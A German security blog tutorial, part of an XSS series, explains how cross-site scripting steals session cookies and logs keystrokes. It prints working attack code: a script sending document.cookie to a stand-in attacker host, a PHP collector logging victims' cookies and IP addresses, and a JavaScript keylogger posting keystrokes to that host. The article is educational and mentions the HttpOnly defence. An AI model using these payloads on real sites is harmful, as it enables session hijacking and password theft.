Skip to content

XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen

Nach dem Einschleusen von Informationen in den Browser geht es in dieser Folge mit der Gegenrichtung weiter: Dem Ausspähen von Informationen im Browser mittels XSS.

Ausspähen von Cookies

Vorsicht: Der Cookie-Dieb geht um!
Wobei "Dieb" eigentlich völlig falsch ist, denn der Cookie ist ja nach dem Angriff noch da, der Angreifer hat sich lediglich eine Kopie davon schicken lassen. Aber da sich der Begriff nun mal eingebürgert hat wollte ich ihn wenigstens einmal Google und Co. zu liebe verwenden.

Worum geht es?

Webanwendungen erkennen die eingeloggten Benutzer meist an Session-IDs. Und die werden im Allgemeinen in einem Cookie gespeichert. Der hat den Vorteil, dass der Browser ihn bei jeden Request an den entsprechenden Webserver automatisch mitschickt, die Anwendung selbst muss sich also auf dem Client gar nicht darum kümmern. Das Ausspähen von Cookies ist neben dem Einfügen falscher Informationen "der" klassische XSS-Angriff.

Um den Cookie auszuspähen, wird auf dem Client JavaScript-Code eingeschleust, der den Cookie an den Server des Angreifers sendet. Das kann zum Beispiel so aussehen:

<script>document.location.replace('http://www.angreifer.example/cookie-sammler.php?cookie='+document.cookie)</script>

Bei einem Angriff über reflektiertes XSS über den Suchparameter müsste der Angreifer dem Opfer also zum Beispiel folgenden URL unterschieben:

http://www.server.example/anwendung.php?suche=
   <script>document.location.replace('http://www.angreifer.example/cookie-sammler.php?
   cookie='+document.cookie)</script>

(Die Umbrüche sind nur der besseren Lesbarkeit wegen vorhanden, sie gehören natürlich nicht in den URL)

Genauso gut könnte der XSS-Code auch zum Beispiel in einen Kommentar eingetragen (persistentes XSS) oder über DOM-basiertes XSS direkt in den Webbrowser des Opfers eingeschleust werden. Egal wie der Code eingeschleust wird, er sendet sofort den Cookie an den Server des Angreifers. Das dort laufende Skript cookie-sammler.php kann zum Beispiel so aussehen:

<?php
$cookie  = $_GET['cookie']; 
$opferip = getenv('REMOTE_ADDR');
$referer = getenv('HTTP_REFERER');
$datum   = date("j F, Y, g:i a");

$daten = "Cookie: ".$cookie." <br>"; 
$daten = $daten."IP: ".$opferip." <br>"; 
$daten = $daten."Referer: ".$referer." <br>";
$daten = $daten."Datum und Zeit: ".$datum." <br>"; 
$daten = $daten." <hr> <br>";

$datei = fopen('cookies.html', 'a+');
fwrite($datei, $daten); 
fclose($datei);
?>

Der Cookie des Opfers wird über den GET-Parameter cookie übergeben, IP-Adresse und Referer werden aus den entsprechenden Einträgen des Environments übernommen. Danach werden die gesammelten Daten aufbereitet und das Ergebnis in die Datei cookies.html geschrieben.

Mit diesen ausgespähten Cookies kann der Angreifer sich dann gegenüber der angegriffenen Webanwendung als der entsprechende Benutzer ausgeben. Sofern die Webanwendung keinen Schutz vor solchen Angriffen enthält und zum Beispiel zusätzliche zur Session-ID die IP-Adresse des Benutzers für dessen Identifizierung verwendet.

Ach ja: Das Ausspähen des Cookies ist so auch nur dann möglich, wenn er nicht vor Zugriffen über JavaScript geschützt ist. Dazu dient das Flag "HttpOnly". Ist es gesetzt, kann der Cookie nicht über JavaScript gelesen werden.

Ausspähen von Tastatureingaben

Keylogger sind selten besonders nützlich, jedenfalls für normale Benutzer. Die wissen ja, was sie tippen, und im Allgemeinen landet das getippte ja auch irgendwo, wo der Benutzer es sehen kann. Für einen Angreifer sind Keylogger dagegen extrem nützlich, kann er so doch zum Beispiel eingetippte Benutzernamen und Passwörter ausspähen.

Ein Keylogger kann auch in JavaSCript implementiert werden. Der folgende JavaScript-Code gibt die Tastendrücke in der Statuszeile aus:

<script> 
var keylog = 'Tastendrücke: '; 
document.onkeypress = function () { 
   window.status = keylog += String.fromCharCode(window.event.keyCode);
} 
</script>

Davon, dass die Tastendrücke in der Statuszeile angezeigt werden, hat der Angreifer nichts. Es zeigt aber das sehr einfache Prinzip des Angriffs: Tastendrücke werden erkannt und der zugehörige Tastencode ausgewertet. Mit Hilfe eines XMLHttpRequests lassen sich diese Daten auch problemlos an den Angreifer senden:

<script>
var zielURL = "http://www.angreifer.example/tasten-sammler.php"
var req = new XMLHttpRequest();

function sendeDaten(daten) {
   req.open("POST", zielURL + "?tasten=" + encodeURIComponent(keylog.value), true);
   req.send(null);
}

var keylog = '';
document.onkeypress = function () { 
   keylog += String.fromCharCode(window.event.keyCode);
   sendeDaten(keylog)
} 
</script>

Der Keylog-Teil dieses Skripts ist weitgehend identisch mit dem ersten Beispiel, lediglich auf die Ausgabe in der Statuszeile wird aus nahliegenden Gründen verzichtet. Stattdessen werden die Tastendrücke über einen XMLHttpRequest an den Server des Angreifers geschickt. Dort wartet ein Skript entsprechend dem zum Sammeln der Cookies auf die übertragenen Tastendrücke.

In der nächsten Folge geht es um weitere Angriffe auf den Browser, zum Beispiel dem Ausspähen von Passwörtern.

Carsten Eilers


Übersicht über alle Artikel zum Thema

Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS
Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS
Cross-Site Scripting im Überblick, Teil 3: Der MySpace-Wurm Samy
Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy
Cross-Site Scripting im Überblick, Teil 4: DOM-basiertes XSS
Cross-Site Scripting im Überblick, Teil 5: Resident XSS
XSS-Angriffe, Teil 1: Informationen einschleusen
XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen
XSS-Angriffe, Teil 3: Zugangsdaten ausspähen
XSS-Angriffe, Teil 4: Ein Blick in die History, und dann auf ins LAN!
XSS-Angriffe, Teil 5: Ein Portscan (nicht nur) im LAN
XSS-Angriffe, Teil 6: Ein verbesserter Portscanner
XSS-Angriffe, Teil 7: Hindernisse beim JavaScript-Portscan beseitigen
XSS-Angriffe, Teil 8: Ein Portscan mit WebSockets oder Cross-Origin Requests
XSS-Angriffe, Teil 9: Der Router im Visier
XSS-Angriffe, Teil 10: Weitere Angriffe auf den Router
XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router
XSS-Angriffe, Teil 12: Browser-basierte Botnets
XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe
XSS-Angriffe, Teil 14: Das Browser Exploitation Framework BeEF

Trackbacks

Dipl.-Inform. Carsten Eilers am : Die IoT Top 10, #1: Unsichere Weboberflächen, Teil 5

Vorschau anzeigen
Die Beschreibung der gefährlichsten Schwachstellen in den Geräten des IoT geht weiter. In der Liste der Top IoT Vulnerabilities von OWASP sind wir immer noch bei Platz 1, dem &quot;Insecure Web Interface&quot;. Aber wenigstens sind wir beim zweiten

Dipl.-Inform. Carsten Eilers am : Die IoT Top 10, #2: Unsichere Authentifizierung/Autorisierung, Teil 4

Vorschau anzeigen
Bei der Beschreibung der gefährlichsten Schwachstellen in den Geräten des IoT gemäß den Top IoT Vulnerabilities von OWASP sind wir beim Punkt 2 angekommen: &quot;Insufficient Authentication/Authorization&quot;. Die verschiedenen Mög

Kommentare

Ansicht der Kommentare: Linear | Verschachtelt

Noch keine Kommentare

Kommentar schreiben

Die angegebene E-Mail-Adresse wird nicht dargestellt, sondern nur für eventuelle Benachrichtigungen verwendet.
Standard-Text Smilies wie :-) und ;-) werden zu Bildern konvertiert.
BBCode-Formatierung erlaubt
Formular-Optionen

Kommentare werden erst nach redaktioneller Prüfung freigeschaltet!